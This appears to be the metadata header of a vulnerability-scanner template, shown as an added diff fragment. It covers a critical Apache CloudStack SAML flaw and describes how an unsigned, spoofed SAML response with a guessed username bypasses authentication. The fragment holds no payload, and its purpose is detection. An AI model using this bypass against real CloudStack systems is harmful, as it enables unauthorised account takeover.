+info:
+  name: Apache CloudStack - SAML Signature Exclusion
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: critical
+  description: |
+    The CloudStack SAML authentication (disabled by default) does not enforce signature check. In CloudStack environments where SAML authentication is enabled, an attacker that initiates CloudStack SAML single sign-on authentication can bypass SAML authentication by submitting a spoofed SAML response with no signature and known or guessed username and other user details of a SAML-enabled CloudStack user-account
